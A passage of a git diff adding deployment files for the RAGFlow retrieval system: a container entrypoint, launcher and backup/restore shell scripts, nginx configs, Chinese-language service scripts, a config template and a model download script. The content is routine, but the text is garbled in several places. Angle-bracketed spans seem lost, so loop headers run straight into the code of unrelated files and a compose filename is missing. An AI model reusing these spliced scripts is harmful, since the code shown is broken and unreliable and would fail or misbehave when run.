<= 32 +# 2. Otherwise, use the full MD5 hash of the hostname (32 hex chars) +# ----------------------------------------------------------------------------- +CURRENT_HOSTNAME="$(hostname)" +if [ ${#CURRENT_HOSTNAME} -le 32 ]; then + DEFAULT_HOST_ID="$CURRENT_HOSTNAME" +else + DEFAULT_HOST_ID="$(echo -n "$CURRENT_HOSTNAME" | md5sum | cut -d ' ' -f 1)" +fi + +HOST_ID="$DEFAULT_HOST_ID" + +# Parse arguments +for arg in "$@"; do + case $arg in + --disable-webserver) + ENABLE_WEBSERVER=0 + shift + ;; + --disable-taskexecutor) + ENABLE_TASKEXECUTOR=0 + shift + ;; + --enable-mcpserver) + ENABLE_MCP_SERVER=1 + shift + ;; + --mcp-host=*) + MCP_HOST="${arg#*=}" + shift + ;; + --mcp-port=*) + MCP_PORT="${arg#*=}" + shift + ;; + --mcp-base-url=*) + MCP_BASE_URL="${arg#*=}" + shift + ;; + --mcp-mode=*) + MCP_MODE="${arg#*=}" + shift + ;; + --mcp-host-api-key=*) + MCP_HOST_API_KEY="${arg#*=}" + shift + ;; + --mcp-script-path=*) + MCP_SCRIPT_PATH="${arg#*=}" + shift + ;; + --no-transport-sse-enabled) + MCP_TRANSPORT_SSE_FLAG="--no-transport-sse-enabled" + shift + ;; + --no-transport-streamable-http-enabled) + MCP_TRANSPORT_STREAMABLE_HTTP_FLAG="--no-transport-streamable-http-enabled" + shift + ;; + --no-json-response) + MCP_JSON_RESPONSE_FLAG="--no-json-response" + shift + ;; + --consumer-no-beg=*) + CONSUMER_NO_BEG="${arg#*=}" + shift + ;; + --consumer-no-end=*) + CONSUMER_NO_END="${arg#*=}" + shift + ;; + --workers=*) + WORKERS="${arg#*=}" + shift + ;; + --host-id=*) + HOST_ID="${arg#*=}" + shift + ;; + *) + usage + ;; + esac +done + +# ----------------------------------------------------------------------------- +# Replace env variables in the service_conf.yaml file +# ----------------------------------------------------------------------------- +CONF_DIR="/ragflow/conf" +TEMPLATE_FILE="${CONF_DIR}/service_conf.yaml.template" +CONF_FILE="${CONF_DIR}/service_conf.yaml" + +rm -f "${CONF_FILE}" +while IFS= read -r line || [[ -n "$line" ]]; do + eval "echo \"$line\"" >> "${CONF_FILE}" +done < "${TEMPLATE_FILE}" + +export LD_LIBRARY_PATH="/usr/lib/x86_64-linux-gnu/" +PY=python3 + +# ----------------------------------------------------------------------------- +# Function(s) +# ----------------------------------------------------------------------------- + +function task_exe() { + local consumer_id="$1" + local host_id="$2" + + JEMALLOC_PATH="$(pkg-config --variable=libdir jemalloc)/libjemalloc.so" + while true; do + LD_PRELOAD="$JEMALLOC_PATH" \ + "$PY" rag/svr/task_executor.py "${host_id}_${consumer_id}" + done +} + +function start_mcp_server() { + echo "Starting MCP Server on ${MCP_HOST}:${MCP_PORT} with base URL ${MCP_BASE_URL}..." + "$PY" "${MCP_SCRIPT_PATH}" \ + --host="${MCP_HOST}" \ + --port="${MCP_PORT}" \ + --base-url="${MCP_BASE_URL}" \ + --mode="${MCP_MODE}" \ + --api-key="${MCP_HOST_API_KEY}" \ + "${MCP_TRANSPORT_SSE_FLAG}" \ + "${MCP_TRANSPORT_STREAMABLE_HTTP_FLAG}" \ + "${MCP_JSON_RESPONSE_FLAG}" & +} + +# ----------------------------------------------------------------------------- +# Start components based on flags +# ----------------------------------------------------------------------------- + +if [[ "${ENABLE_WEBSERVER}" -eq 1 ]]; then + echo "Starting nginx..." + /usr/sbin/nginx + + echo "Starting ragflow_server..." + while true; do + "$PY" api/ragflow_server.py + done & +fi + + +if [[ "${ENABLE_MCP_SERVER}" -eq 1 ]]; then + start_mcp_server +fi + +if [[ "${ENABLE_TASKEXECUTOR}" -eq 1 ]]; then + if [[ "${CONSUMER_NO_END}" -gt "${CONSUMER_NO_BEG}" ]]; then + echo "Starting task executors on host '${HOST_ID}' for IDs in [${CONSUMER_NO_BEG}, ${CONSUMER_NO_END})..." + for (( i=CONSUMER_NO_BEG; i/dev/null; then + echo "Killing process $pid" + kill "$pid" + fi + done + exit 0 +} + +# Trap SIGINT and SIGTERM to invoke cleanup +trap cleanup SIGINT SIGTERM + +# Function to execute task_executor with retry logic +task_exe(){ + local task_id=$1 + local retry_count=0 + while ! $STOP && [ $retry_count -lt $MAX_RETRIES ]; do + echo "Starting task_executor.py for task $task_id (Attempt $((retry_count+1)))" + LD_PRELOAD=$JEMALLOC_PATH $PY rag/svr/task_executor.py "$task_id" + EXIT_CODE=$? + if [ $EXIT_CODE -eq 0 ]; then + echo "task_executor.py for task $task_id exited successfully." + break + else + echo "task_executor.py for task $task_id failed with exit code $EXIT_CODE. Retrying..." >&2 + retry_count=$((retry_count + 1)) + sleep 2 + fi + done + + if [ $retry_count -ge $MAX_RETRIES ]; then + echo "task_executor.py for task $task_id failed after $MAX_RETRIES attempts. Exiting..." >&2 + cleanup + fi +} + +# Function to execute ragflow_server with retry logic +run_server(){ + local retry_count=0 + while ! $STOP && [ $retry_count -lt $MAX_RETRIES ]; do + echo "Starting ragflow_server.py (Attempt $((retry_count+1)))" + $PY api/ragflow_server.py + EXIT_CODE=$? + if [ $EXIT_CODE -eq 0 ]; then + echo "ragflow_server.py exited successfully." + break + else + echo "ragflow_server.py failed with exit code $EXIT_CODE. Retrying..." >&2 + retry_count=$((retry_count + 1)) + sleep 2 + fi + done + + if [ $retry_count -ge $MAX_RETRIES ]; then + echo "ragflow_server.py failed after $MAX_RETRIES attempts. Exiting..." >&2 + cleanup + fi +} + +# Start task executors +for ((i=0;i [backup_folder]" + echo "" + echo "OPERATIONS:" + echo " backup - Create backup of all RAGFlow data volumes" + echo " restore - Restore RAGFlow data volumes from backup" + echo " help - Show this help message" + echo "" + echo "PARAMETERS:" + echo " backup_folder - Name of backup folder (default: '$DEFAULT_BACKUP_FOLDER')" + echo "" + echo "EXAMPLES:" + echo " $0 backup # Backup to './backup' folder" + echo " $0 backup my_backup # Backup to './my_backup' folder" + echo " $0 restore # Restore from './backup' folder" + echo " $0 restore my_backup # Restore from './my_backup' folder" + echo "" + echo "DOCKER VOLUMES:" + echo " - docker_mysql_data (MySQL database)" + echo " - docker_minio_data (MinIO object storage)" + echo " - docker_redis_data (Redis cache)" + echo " - docker_esdata01 (Elasticsearch indices)" +} + +# Function to check if Docker is running +check_docker() { + if ! docker info >/dev/null 2>&1; then + echo "❌ Error: Docker is not running or not accessible" + echo "Please start Docker and try again" + exit 1 + fi +} + +# Function to check if volume exists +volume_exists() { + local volume_name=$1 + docker volume inspect "$volume_name" >/dev/null 2>&1 +} + +# Function to check if any containers are using the target volumes +check_containers_using_volumes() { + echo "🔍 Checking for running containers that might be using target volumes..." + + # Get all running containers + local running_containers=$(docker ps --format "{{.Names}}") + + if [ -z "$running_containers" ]; then + echo "✅ No running containers found" + return 0 + fi + + # Check each running container for volume usage + local containers_using_volumes=() + local volume_usage_details=() + + for container in $running_containers; do + # Get container's mount information + local mounts=$(docker inspect "$container" --format '{{range .Mounts}}{{.Source}}{{"|"}}{{end}}' 2>/dev/null || echo "") + + # Check if any of our target volumes are used by this container + for volume in "${VOLUMES[@]}"; do + if echo "$mounts" | grep -q "$volume"; then + containers_using_volumes+=("$container") + volume_usage_details+=("$container -> $volume") + break + fi + done + done + + # If any containers are using our volumes, show error and exit + if [ ${#containers_using_volumes[@]} -gt 0 ]; then + echo "" + echo "❌ ERROR: Found running containers using target volumes!" + echo "" + echo "📋 Running containers status:" + docker ps --format "table {{.Names}}\t{{.Status}}\t{{.Image}}" + echo "" + echo "🔗 Volume usage details:" + for detail in "${volume_usage_details[@]}"; do + echo " - $detail" + done + echo "" + echo "🛑 SOLUTION: Stop the containers before performing backup/restore operations:" + echo " docker-compose -f docker/.yml down" + echo "" + echo "💡 After backup/restore, you can restart with:" + echo " docker-compose -f docker/.yml up -d" + echo "" + exit 1 + fi + + echo "✅ No containers are using target volumes, safe to proceed" + return 0 +} + +# Function to confirm user action +confirm_action() { + local message=$1 + echo -n "$message (y/N): " + read -r response + case "$response" in + [yY]|[yY][eE][sS]) return 0 ;; + *) return 1 ;; + esac +} + +# Function to perform backup +perform_backup() { + local backup_folder=$1 + + echo "🚀 Starting RAGFlow data backup..." + echo "📁 Backup folder: $backup_folder" + echo "" + + # Check if any containers are using the volumes + check_containers_using_volumes + + # Create backup folder if it doesn't exist + mkdir -p "$backup_folder" + + # Backup each volume + for i in "${!VOLUMES[@]}"; do + local volume="${VOLUMES[$i]}" + local backup_file="${BACKUP_FILES[$i]}" + local step=$((i + 1)) + + echo "📦 Step $step/4: Backing up $volume..." + + if volume_exists "$volume"; then + docker run --rm \ + -v "$volume":/source \ + -v "$(pwd)/$backup_folder":/backup \ + alpine tar czf "/backup/$backup_file" -C /source . + echo "✅ Successfully backed up $volume to $backup_folder/$backup_file" + else + echo "⚠️ Warning: Volume $volume does not exist, skipping..." + fi + echo "" + done + + echo "🎉 Backup completed successfully!" + echo "📍 Backup location: $(pwd)/$backup_folder" + + # List backup files with sizes + echo "" + echo "📋 Backup files created:" + for backup_file in "${BACKUP_FILES[@]}"; do + if [ -f "$backup_folder/$backup_file" ]; then + local size=$(ls -lh "$backup_folder/$backup_file" | awk '{print $5}') + echo " - $backup_file ($size)" + fi + done +} + +# Function to perform restore +perform_restore() { + local backup_folder=$1 + + echo "🔄 Starting RAGFlow data restore..." + echo "📁 Backup folder: $backup_folder" + echo "" + + # Check if any containers are using the volumes + check_containers_using_volumes + + # Check if backup folder exists + if [ ! -d "$backup_folder" ]; then + echo "❌ Error: Backup folder '$backup_folder' does not exist" + exit 1 + fi + + # Check if all backup files exist + local missing_files=() + for backup_file in "${BACKUP_FILES[@]}"; do + if [ ! -f "$backup_folder/$backup_file" ]; then + missing_files+=("$backup_file") + fi + done + + if [ ${#missing_files[@]} -gt 0 ]; then + echo "❌ Error: Missing backup files:" + for file in "${missing_files[@]}"; do + echo " - $file" + done + echo "Please ensure all backup files are present in '$backup_folder'" + exit 1 + fi + + # Check for existing volumes and warn user + local existing_volumes=() + for volume in "${VOLUMES[@]}"; do + if volume_exists "$volume"; then + existing_volumes+=("$volume") + fi + done + + if [ ${#existing_volumes[@]} -gt 0 ]; then + echo "⚠️ WARNING: The following Docker volumes already exist:" + for volume in "${existing_volumes[@]}"; do + echo " - $volume" + done + echo "" + echo "🔴 IMPORTANT: Restoring will OVERWRITE existing data!" + echo "💡 Recommendation: Create a backup of your current data first:" + echo " $0 backup current_backup_$(date +%Y%m%d_%H%M%S)" + echo "" + + if ! confirm_action "Do you want to continue with the restore operation?"; then + echo "❌ Restore operation cancelled by user" + exit 0 + fi + fi + + # Create volumes and restore data + for i in "${!VOLUMES[@]}"; do + local volume="${VOLUMES[$i]}" + local backup_file="${BACKUP_FILES[$i]}" + local step=$((i + 1)) + + echo "🔧 Step $step/4: Restoring $volume..." + + # Create volume if it doesn't exist + if ! volume_exists "$volume"; then + echo " 📋 Creating Docker volume: $volume" + docker volume create "$volume" + else + echo " 📋 Using existing Docker volume: $volume" + fi + + # Restore data + echo " 📥 Restoring data from $backup_file..." + docker run --rm \ + -v "$volume":/target \ + -v "$(pwd)/$backup_folder":/backup \ + alpine tar xzf "/backup/$backup_file" -C /target + + echo "✅ Successfully restored $volume" + echo "" + done + + echo "🎉 Restore completed successfully!" + echo "💡 You can now start your RAGFlow services" +} + +# Main script logic +main() { + # Check if Docker is available + check_docker + + # Parse command line arguments + local operation=${1:-} + local backup_folder=${2:-$DEFAULT_BACKUP_FOLDER} + + # Handle help or no arguments + if [ -z "$operation" ] || [ "$operation" = "help" ] || [ "$operation" = "-h" ] || [ "$operation" = "--help" ]; then + show_help + exit 0 + fi + + # Validate operation + case "$operation" in + backup) + perform_backup "$backup_folder" + ;; + restore) + perform_restore "$backup_folder" + ;; + *) + echo "❌ Error: Invalid operation '$operation'" + echo "" + show_help + exit 1 + ;; + esac +} + +# Run main function with all arguments +main "$@" \ No newline at end of file diff --git a/docker/nginx/nginx.conf b/docker/nginx/nginx.conf new file mode 100644 index 0000000..41b9915 --- /dev/null +++ b/docker/nginx/nginx.conf @@ -0,0 +1,33 @@ +user root; +worker_processes auto; + +error_log /var/log/nginx/error.log notice; +pid /var/run/nginx.pid; + + +events { + worker_connections 1024; +} + + +http { + include /etc/nginx/mime.types; + default_type application/octet-stream; + + log_format main '$remote_addr - $remote_user [$time_local] "$request" ' + '$status $body_bytes_sent "$http_referer" ' + '"$http_user_agent" "$http_x_forwarded_for"'; + + access_log /var/log/nginx/access.log main; + + sendfile on; + #tcp_nopush on; + + keepalive_timeout 65; + + #gzip on; + client_max_body_size 1024M; + + include /etc/nginx/conf.d/ragflow.conf; +} + diff --git a/docker/nginx/proxy.conf b/docker/nginx/proxy.conf new file mode 100644 index 0000000..96bcb2f --- /dev/null +++ b/docker/nginx/proxy.conf @@ -0,0 +1,12 @@ +proxy_set_header Host $host; +proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for; +proxy_set_header X-Forwarded-Proto $scheme; +proxy_http_version 1.1; +proxy_set_header Connection ""; +proxy_buffering off; +proxy_read_timeout 3600s; +proxy_send_timeout 3600s; +proxy_buffer_size 1024k; +proxy_buffers 16 1024k; +proxy_busy_buffers_size 2048k; +proxy_temp_file_write_size 2048k; \ No newline at end of file diff --git a/docker/nginx/ragflow.conf b/docker/nginx/ragflow.conf new file mode 100644 index 0000000..2a511d4 --- /dev/null +++ b/docker/nginx/ragflow.conf @@ -0,0 +1,29 @@ +server { + listen 80; + server_name _; + root /ragflow/web/dist; + + gzip on; + gzip_min_length 1k; + gzip_comp_level 9; + gzip_types text/plain application/javascript application/x-javascript text/css application/xml text/javascript application/x-httpd-php image/jpeg image/gif image/png; + gzip_vary on; + gzip_disable "MSIE [1-6]\."; + + location ~ ^/(v1|api) { + proxy_pass http://ragflow:9380; + include proxy.conf; + } + + + location / { + index index.html; + try_files $uri $uri/ /index.html; + } + + # Cache-Control: max-age~@~AExpires + location ~ ^/static/(css|js|media)/ { + expires 10y; + access_log off; + } +} diff --git a/docker/nginx/ragflow.https.conf b/docker/nginx/ragflow.https.conf new file mode 100644 index 0000000..69aa388 --- /dev/null +++ b/docker/nginx/ragflow.https.conf @@ -0,0 +1,41 @@ +server { + listen 80; + server_name your-ragflow-domain.com; + return 301 https://$host$request_uri; +} + + + +server { + listen 443 ssl; + server_name your-ragflow-domain.com; + + ssl_certificate /etc/nginx/ssl/fullchain.pem; + ssl_certificate_key /etc/nginx/ssl/privkey.pem; + + root /ragflow/web/dist; + + gzip on; + gzip_min_length 1k; + gzip_comp_level 9; + gzip_types text/plain application/javascript application/x-javascript text/css application/xml text/javascript application/x-httpd-php image/jpeg image/gif image/png; + gzip_vary on; + gzip_disable "MSIE [1-6]\."; + + location ~ ^/(v1|api) { + proxy_pass http://ragflow:9380; + include proxy.conf; + } + + + location / { + index index.html; + try_files $uri $uri/ /index.html; + } + + # Cache-Control: max-age~@~AExpires + location ~ ^/static/(css|js|media)/ { + expires 10y; + access_log off; + } +} diff --git a/docker/ragflow.sh b/docker/ragflow.sh new file mode 100644 index 0000000..364d391 --- /dev/null +++ b/docker/ragflow.sh @@ -0,0 +1,63 @@ +#!/bin/bash + +# RAGFlow 服务管理脚本 + +case "$1" in + "start") + echo "启动 RAGFlow 服务..." + ./start-ragflow.sh + ;; + "stop") + echo "停止 RAGFlow 服务..." + ./stop-ragflow.sh + ;; + "restart") + echo "重启 RAGFlow 服务..." + ./stop-ragflow.sh + sleep 5 + ./start-ragflow.sh + ;; + "status") + echo "检查服务状态..." + echo "=== RAGFlow 服务 ===" + docker ps --format "table {{.Names}}\t{{.Status}}\t{{.Ports}}" | grep -E "(ragflow-server|ragflow-postgres|ragflow-redis|ragflow-minio|ragflow-opensearch)" + ;; + "logs") + echo "查看 RAGFlow 日志..." + docker-compose -f docker-compose.yml logs -f ragflow + ;; + "init") + echo "初始化所有服务（仅首次使用）..." + docker-compose -f docker-compose-base.yml up -d + echo "等待基础服务启动..." + sleep 30 + docker-compose -f docker-compose.yml up -d ragflow + echo "所有服务启动完成！" + ;; + "clean") + echo "清理所有服务（包括数据）..." + read -p "确定要删除所有数据吗？(y/N): " -n 1 -r + echo + if [[ $REPLY =~ ^[Yy]$ ]]; then + docker-compose -f docker-compose.yml down + docker-compose -f docker-compose-base.yml down -v + docker network rm ragflow 2>/dev/null || true + echo "所有服务已清理" + else + echo "操作已取消" + fi + ;; + *) + echo "用法: $0 {start|stop|restart|status|logs|init|clean}" + echo "" + echo "命令说明:" + echo " start - 启动 RAGFlow 服务（不重新创建基础服务）" + echo " stop - 停止 RAGFlow 服务（保留基础服务）" + echo " restart - 重启 RAGFlow 服务" + echo " status - 查看服务状态" + echo " logs - 查看 RAGFlow 日志" + echo " init - 初始化所有服务（仅首次使用）" + echo " clean - 清理所有服务（包括数据）" + exit 1 + ;; +esac diff --git a/docker/service_conf.yaml.template b/docker/service_conf.yaml.template new file mode 100644 index 0000000..54dc60c --- /dev/null +++ b/docker/service_conf.yaml.template @@ -0,0 +1,135 @@ +ragflow: + host: ${RAGFLOW_HOST:-0.0.0.0} + http_port: 9380 +admin: + host: ${RAGFLOW_HOST:-0.0.0.0} + http_port: 9381 +mysql: + name: '${MYSQL_DBNAME:-rag_flow}' + user: '${MYSQL_USER:-root}' + password: '${MYSQL_PASSWORD:-infini_rag_flow}' + host: '${MYSQL_HOST:-mysql}' + port: 3306 + max_connections: 900 + stale_timeout: 300 + max_allowed_packet: ${MYSQL_MAX_PACKET:-1073741824} +minio: + user: '${MINIO_USER:-rag_flow}' + password: '${MINIO_PASSWORD:-infini_rag_flow}' + host: '${MINIO_HOST:-minio}:9000' +es: + hosts: 'http://${ES_HOST:-es01}:9200' + username: '${ES_USER:-elastic}' + password: '${ELASTIC_PASSWORD:-infini_rag_flow}' +os: + hosts: 'http://${OS_HOST:-opensearch01}:9201' + username: '${OS_USER:-admin}' + password: '${OPENSEARCH_PASSWORD:-infini_rag_flow_OS_01}' +infinity: + uri: '${INFINITY_HOST:-infinity}:23817' + db_name: 'default_db' +redis: + db: 1 + password: '${REDIS_PASSWORD:-infini_rag_flow}' + host: '${REDIS_HOST:-redis}:6379' +postgres: + name: '${POSTGRES_DBNAME:-rag_flow}' + user: '${POSTGRES_USER:-rag_flow}' + password: '${POSTGRES_PASSWORD:-infini_rag_flow}' + host: '${POSTGRES_HOST:-postgres}' + port: 5432 + max_connections: 100 + stale_timeout: 30 +# s3: +# access_key: 'access_key' +# secret_key: 'secret_key' +# region: 'region' +# endpoint_url: 'endpoint_url' +# bucket: 'bucket' +# prefix_path: 'prefix_path' +# signature_version: 'v4' +# addressing_style: 'path' +# oss: +# access_key: '${ACCESS_KEY}' +# secret_key: '${SECRET_KEY}' +# endpoint_url: '${ENDPOINT}' +# region: '${REGION}' +# bucket: '${BUCKET}' +# prefix_path: '${OSS_PREFIX_PATH}' +# azure: +# auth_type: 'sas' +# container_url: 'container_url' +# sas_token: 'sas_token' +# azure: +# auth_type: 'spn' +# account_url: 'account_url' +# client_id: 'client_id' +# secret: 'secret' +# tenant_id: 'tenant_id' +# container_name: 'container_name' +# The OSS object storage uses the MySQL configuration above by default. If you need to switch to another object storage service, please uncomment and configure the following parameters. +# opendal: +# scheme: 'mysql' # Storage type, such as s3, oss, azure, etc. +# config: +# oss_table: 'opendal_storage' +# user_default_llm: +# factory: 'BAAI' +# api_key: 'backup' +# base_url: 'backup_base_url' +# default_models: +# chat_model: +# name: 'qwen2.5-7b-instruct' +# factory: 'xxxx' +# api_key: 'xxxx' +# base_url: 'https://api.xx.com' +# embedding_model: +# name: 'bge-m3' +# rerank_model: 'bge-reranker-v2' +# asr_model: +# model: 'whisper-large-v3' # alias of name +# image2text_model: '' +# oauth: +# oauth2: +# display_name: "OAuth2" +# client_id: "your_client_id" +# client_secret: "your_client_secret" +# authorization_url: "https://your-oauth-provider.com/oauth/authorize" +# token_url: "https://your-oauth-provider.com/oauth/token" +# userinfo_url: "https://your-oauth-provider.com/oauth/userinfo" +# redirect_uri: "https://your-app.com/v1/user/oauth/callback/oauth2" +# oidc: +# display_name: "OIDC" +# client_id: "your_client_id" +# client_secret: "your_client_secret" +# issuer: "https://your-oauth-provider.com/oidc" +# scope: "openid email profile" +# redirect_uri: "https://your-app.com/v1/user/oauth/callback/oidc" +# github: +# type: "github" +# icon: "github" +# display_name: "Github" +# client_id: "your_client_id" +# client_secret: "your_client_secret" +# redirect_uri: "https://your-app.com/v1/user/oauth/callback/github" +# authentication: +# client: +# switch: false +# http_app_key: +# http_secret_key: +# site: +# switch: false +# permission: +# switch: false +# component: false +# dataset: false +# smtp: +# mail_server: "" +# mail_port: 465 +# mail_use_ssl: true +# mail_use_tls: false +# mail_username: "" +# mail_password: "" +# mail_default_sender: +# - "RAGFlow" # display name +# - "" # sender email address +# mail_frontend_url: "https://your-frontend.example.com" diff --git a/docker/start-ragflow.sh b/docker/start-ragflow.sh new file mode 100644 index 0000000..e321d14 --- /dev/null +++ b/docker/start-ragflow.sh @@ -0,0 +1,27 @@ +#!/bin/bash + +# 启动脚本：只启动 ragflow 服务，不重新创建基础服务 + +echo "检查基础服务是否运行..." + +# 检查基础服务是否在运行 +if ! docker ps --format "table {{.Names}}" | grep -q "ragflow-postgres\|ragflow-redis\|ragflow-minio\|ragflow-opensearch-01"; then + echo "基础服务未运行，正在启动基础服务..." + docker-compose -p ragflow -f docker-compose-base.yml up -d + echo "等待基础服务启动完成..." + sleep 30 +else + echo "基础服务已在运行" +fi + +# 检查网络是否存在 +if ! docker network ls --format "{{.Name}}" | grep -q "ragflow-20250916_ragflow"; then + echo "ragflow 网络不存在，请先运行基础服务创建网络" + exit 1 +fi + +echo "启动 ragflow 服务..." +docker-compose -p ragflow -f docker-compose.yml up -d ragflow + +echo "ragflow 服务启动完成！" +echo "访问地址: http://localhost:${SVR_HTTP_PORT:-9380}" diff --git a/docker/stop-ragflow.sh b/docker/stop-ragflow.sh new file mode 100644 index 0000000..9265bba --- /dev/null +++ b/docker/stop-ragflow.sh @@ -0,0 +1,9 @@ +#!/bin/bash + +# 停止脚本：只停止 ragflow 服务，保留基础服务 + +echo "停止 ragflow 服务..." +docker-compose -f docker-compose.yml down + +echo "ragflow 服务已停止" +echo "基础服务（postgres、redis、minio、opensearch）仍在运行" diff --git a/download_deps.py b/download_deps.py new file mode 100644 index 0000000..d140be3 --- /dev/null +++ b/download_deps.py @@ -0,0 +1,76 @@ +#!/usr/bin/env python3 + +# PEP 723 metadata +# /// script +# requires-python = ">=3.10" +# dependencies = [ +# "huggingface-hub", +# "nltk", +# ] +# /// + +from huggingface_hub import snapshot_download +from typing import Union +import nltk +import os +import urllib.request +import argparse + +def get_urls(use_china_mirrors=False) -> Union[str, list[str]]: + if use_china_mirrors: + return [ + "http://mirrors.tuna.tsinghua.edu.cn/ubuntu/pool/main/o/openssl/libssl1.1_1.1.1f-1ubuntu2_amd64.deb", + "http://mirrors.tuna.tsinghua.edu.cn/ubuntu-ports/pool/main/o/openssl/libssl1.1_1.1.1f-1ubuntu2_arm64.deb", + "https://repo.huaweicloud.com/repository/maven/org/apache/tika/tika-server-standard/3.0.0/tika-server-standard-3.0.0.jar", + "https://repo.huaweicloud.com/repository/maven/org/apache/tika/tika-server-standard/3.0.0/tika-server-standard-3.0.0.jar.md5", + "https://openaipublic.blob.core.windows.net/encodings/cl100k_base.tiktoken", + ["https://registry.npmmirror.com/-/binary/chrome-for-testing/121.0.6167.85/linux64/chrome-linux64.zip", "chrome-linux64-121-0-6167-85"], + ["https://registry.npmmirror.com/-/binary/chrome-for-testing/121.0.6167.85/linux64/chromedriver-linux64.zip", "chromedriver-linux64-121-0-6167-85"], + ] + else: + return [ + "http://archive.ubuntu.com/ubuntu/pool/main/o/openssl/libssl1.1_1.1.1f-1ubuntu2_amd64.deb", + "http://ports.ubuntu.com/pool/main/o/openssl/libssl1.1_1.1.1f-1ubuntu2_arm64.deb", + "https://repo1.maven.org/maven2/org/apache/tika/tika-server-standard/3.0.0/tika-server-standard-3.0.0.jar", + "https://repo1.maven.org/maven2/org/apache/tika/tika-server-standard/3.0.0/tika-server-standard-3.0.0.jar.md5", + "https://openaipublic.blob.core.windows.net/encodings/cl100k_base.tiktoken", + ["https://storage.googleapis.com/chrome-for-testing-public/121.0.6167.85/linux64/chrome-linux64.zip", "chrome-linux64-121-0-6167-85"], + ["https://storage.googleapis.com/chrome-for-testing-public/121.0.6167.85/linux64/chromedriver-linux64.zip", "chromedriver-linux64-121-0-6167-85"], + ] + +repos = [ + "InfiniFlow/text_concat_xgb_v1.0", + "InfiniFlow/deepdoc", + "InfiniFlow/huqie", + "BAAI/bge-large-zh-v1.5", + "maidalun1020/bce-embedding-base_v1", +] + +def download_model(repo_id): + local_dir = os.path.abspath(os.path.join("huggingface.co", repo_id)) + os.makedirs(local_dir, exist_ok=True) + snapshot_download(repo_id=repo_id, local_dir=local_dir) + + +if __name__ == "__main__": + parser = argparse.ArgumentParser(description='Download dependencies with optional China mirror support') + parser.add_argument('--china-mirrors', action='store_true', help='Use China-accessible mirrors for downloads') + args = parser.parse_args() + + urls = get_urls(args.china_mirrors) + + for url in urls: + download_url = url[0] if isinstance(url, list) else url + filename = url[1] if isinstance(url, list) else url.split("/")[-1] + print(f"Downloading {filename} from {download_url}...") + if not os.path.exists(filename): + urllib.request.urlretrieve(download_url, filename) + + local_dir = os.path.abspath('nltk_data') + for data in ['wordnet', 'punkt', 'punkt_tab']: + print(f"Downloading nltk {data}...") + nltk.download(data, download_dir=local_dir) + + for repo_id in repos: + print(f"Downloading huggingface repo {repo_id}...") + download_model(repo_id) diff --git a/graphrag/__init__.py b/graphrag/__init__.py new file mode 100644 index 0000000..e69de29 diff --git a/graphrag/entity_resolution.py b/graphrag/entity_resolution.py new file mode 100644 index 0000000..01478d7 --- /dev/null +++ b/graphrag/entity_resolution.py @@ -0,0 +1,248 @@ +# +# Copyright 2024 The InfiniFlow Authors. All Rights Reserved. +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# +import logging +import itertools +import os +import re +from dataclasses import dataclass +from typing import Any, Callable + +import networkx as nx +import trio + +from graphrag.general.extractor import Extractor +from rag.nlp import is_english +import editdistance +from graphrag.entity_resolution_prompt import ENTITY_RESOLUTION_PROMPT +from rag.llm.chat_model import Base as CompletionLLM +from graphrag.utils import perform_variable_replacements, chat_limiter, GraphChange + +DEFAULT_RECORD_DELIMITER = "##" +DEFAULT_ENTITY_INDEX_DELIMITER = "<|>" +DEFAULT_RESOLUTION_RESULT_DELIMITER = "&&" + + +@dataclass +class EntityResolutionResult: + """Entity resolution result class definition.""" + graph: nx.Graph + change: GraphChange + + +class EntityResolution(Extractor): + """Entity resolution class definition.""" + + _resolution_prompt: str + _output_formatter_prompt: str + _record_delimiter_key: str + _entity_index_delimiter_key: str + _resolution_result_delimiter_key: str + + def __init__( + self, + llm_invoker: CompletionLLM, + ): + super().__init__(llm_invoker) + """Init method definition.""" + self._llm = llm_invoker + self._resolution_prompt = ENTITY_RESOLUTION_PROMPT + self._record_delimiter_key = "record_delimiter" + self._entity_index_dilimiter_key = "entity_index_delimiter" + self._resolution_result_delimiter_key = "resolution_result_delimiter" + self._input_text_key = "input_text" + + async def __call__(self, graph: nx.Graph, + subgraph_nodes: set[str], + prompt_variables: dict[str, Any] | None = None, + callback: Callable | None = None) -> EntityResolutionResult: + """Call method definition.""" + if prompt_variables is None: + prompt_variables = {} + + # Wire defaults into the prompt variables + self.prompt_variables = { + **prompt_variables, + self._record_delimiter_key: prompt_variables.get(self._record_delimiter_key) + or DEFAULT_RECORD_DELIMITER, + self._entity_index_dilimiter_key: prompt_variables.get(self._entity_index_dilimiter_key) + or DEFAULT_ENTITY_INDEX_DELIMITER, + self._resolution_result_delimiter_key: prompt_variables.get(self._resolution_result_delimiter_key) + or DEFAULT_RESOLUTION_RESULT_DELIMITER, + } + + nodes = sorted(graph.nodes()) + entity_types = sorted(set(graph.nodes[node].get('entity_type', '-') for node in nodes)) + node_clusters = {entity_type: [] for entity_type in entity_types} + + for node in nodes: + node_clusters[graph.nodes[node].get('entity_type', '-')].append(node) + + candidate_resolution = {entity_type: [] for entity_type in entity_types} + for k, v in node_clusters.items(): + candidate_resolution[k] = [(a, b) for a, b in itertools.combinations(v, 2) if (a in subgraph_nodes or b in subgraph_nodes) and self.is_similarity(a, b)] + num_candidates = sum([len(candidates) for _, candidates in candidate_resolution.items()]) + callback(msg=f"Identified {num_candidates} candidate pairs") + remain_candidates_to_resolve = num_candidates + + resolution_result = set() + resolution_result_lock = trio.Lock() + resolution_batch_size = 100 + max_concurrent_tasks = 5 + semaphore = trio.Semaphore(max_concurrent_tasks) + + async def limited_resolve_candidate(candidate_batch, result_set, result_lock): + nonlocal remain_candidates_to_resolve, callback + async with semaphore: + try: + enable_timeout_assertion = os.environ.get("ENABLE_TIMEOUT_ASSERTION") + with trio.move_on_after(280 if enable_timeout_assertion else 1000000000) as cancel_scope: + await self._resolve_candidate(candidate_batch, result_set, result_lock) + remain_candidates_to_resolve = remain_candidates_to_resolve - len(candidate_batch[1]) + callback(msg=f"Resolved {len(candidate_batch[1])} pairs, {remain_candidates_to_resolve} are remained to resolve. ") + if cancel_scope.cancelled_caught: + logging.warning(f"Timeout resolving {candidate_batch}, skipping...") + remain_candidates_to_resolve = remain_candidates_to_resolve - len(candidate_batch[1]) + callback(msg=f"Fail to resolved {len(candidate_batch[1])} 